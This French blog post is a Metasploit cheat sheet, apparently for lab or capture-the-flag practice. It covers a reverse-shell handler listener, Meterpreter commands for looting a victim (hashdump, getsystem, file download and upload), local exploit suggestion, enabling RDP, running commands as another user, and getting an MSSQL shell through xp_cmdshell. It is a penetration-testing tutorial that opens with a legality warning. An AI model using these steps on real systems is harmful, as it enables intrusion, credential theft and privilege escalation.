MetaSploit : le couteau-suisse du hacker

metasploit

Avertissement :
Utiliser les techniques présentées sur ce blog, sur des systèmes qui ne vous appartiennent pas est ILLEGAL et peut vous exposer à de lourdes sanctions.

Si vous souhaitez vous exercer, vous devez le faire sur un système qui vous appartient, ou avec un accord écrit du propriétaire.

Je ne pourrais en aucun cas être tenu pour responsable de vos actes.

Options avancées

Les exploits peuvent ne pas fonctionner en raison d’une configuration inhabituelle ou d’un problème de chemin, que vous pouvez régler avec show options ou show advanced. La section advanced peut vous permettre de sélectionner verbose = true pour fournir plus d’informations sur les raisons pour lesquelles un exploit ne fonctionne pas.

Vous devrez peut-être aussi définir la bonne cible :

show targets
set target [target number]

L’exploit MSO8-067 en a parfois besoin car le module ne peut pas toujours identifier la version exacte du système d’exploitation et le pack de langue.
Il est également important de prêter attention au payload par défaut. Il arrive que vous rencontriez des problèmes comme un serveur web Apache fonctionnant sous Windows, et le payload par défaut d’Unix ne fonctionne pas.

Vérifiez et modifiez le payload :

show payloads
set payload [whatever]

Meterpreter

Pour obtenir un shell meterpreter

use exploit/multi/handler
set LHOST [attack machine]
set LPORT 443
run

Si vous êtes connecté à un VPN dans un laboratoire, faites attention à l’adresse IP. Le module est configuré par défaut sur eth0 et vous devez le redémarrer pour utiliser quelque chose comme tap0.

Commandes de base

Commandes fréquemment utilisées, principalement pour faire l’inventaire sur une machine victime :

getuid          # get current user
sysinfo        # gets OS and hostname
execute      # execute a command
cd                  # change directory
pwd              # print working directory
ls                    # list files in current directory
mkdir           # make a directory
del                 # delete a file
cat                 # read the contents of a file
download   # download a file to your machine
hashdump # get contents of password file
edit               # edit a file with vim
rm                 # delete a file
rmdir           # remove directory
upload        # upload a file to the victim
ps                 # list running processes
migrate     # move the active process to a designated PID
getpid        # get the current process ID (PID)
kill                # terminate a process by PID
ipconfig    # display network interfaces
portfwd    # forward a port on the victim to a remote service
route          # view or modify routing table
getprivs    # get as many privileges as possible
getsystem   # get Administrator
reboot       # reboot the victim
shutdown    # shut down the victim
reg              # interact with the victim's registry

Sessions

Meterpreter permet de maintenir plusieurs sessions shell et d’utiliser des exploits locaux contre elles.

Par exemple, l’exploit Rejetto qui semble se déclencher plusieurs fois avec meterpreter, vous pouvez obtenir chaque session shell avec un seul listener.

Pour afficher la liste des sessions actives :

sessions -l

Pour entrer dans une session :

sessions -i [session number]

Pour entrer dans un shell à partir d’une session (ne pas utiliser les commandes de meterpreter) :

shell

Pour sortir du shell et revenir à meterpreter, tapez :

exit

Exploits utiles

Metasploit est efficace sur les machines Windows. Vous trouverez ci-dessous une liste d’exploits utiles pour énumérer et exécuter des commandes complexes.

Windows

Une fois que vous avez un shell meterpreter, vous pouvez rechercher des exploits locaux et les exécuter. Contrairement aux exploits distants qui ciblent les adresses IP, les exploits locaux sont exécutés sur une session shell choisie.

Pour accéder aux exploits locaux, vous devez sortir de meterpreter en utilisant background et en sélectionner un avec la commande use :

meterpreter > background
use /exploit/windows/whatever
show options
[edit options as needed]
set SESSION [session number]
run

Suggérer des exploits :

meterpreter > run post/multi/recon/local_exploit_suggester

Obtenir un bureau à distance :

meterpreter > run post/windows/manage/enable_rdp

Exécutez une commande en tant qu’utilisateur différent :

background
use post/windows/manage/run_as
[set username and password]
set CMDOUT true # output results of command
set CMD "type C:UsersAdministratorDesktoproot.txt"
run

Il existe aussi des moyens manuels pour exécuter des commandes en tant qu’utilisateur différent.

MSSQL

Si vous avez des informations d’identification, vous pouvez utiliser ce module pour obtenir un shell :

exploit/windows/mssql/mssql_payload
[set username and password]
run

Il utilise la procédure xp_cmdshell stockée, qui n’est pas toujours activée mais qui peut l’être. Vous pourriez probablement faire le même exploit manuellement en utilisant un outil comme dbeaver. Si vous attaquez une très vieille version de MSSQL (par exemple 2000), vous pouvez vous y connecter en utilisant sqsh :

sqsh -S [remote host]:[port] -U [username] -P [password]

Vous pouvez alors tenter de lancer xp_cmdshell avec la syntaxe suivante :

xp_cmdshell 'date'
go


Dans un prochain article nous verrons les exploits.

En attendant, retrouvez tous nos articles :

Laisser un commentaire

Votre adresse e-mail ne sera pas publiée. Les champs obligatoires sont indiqués avec *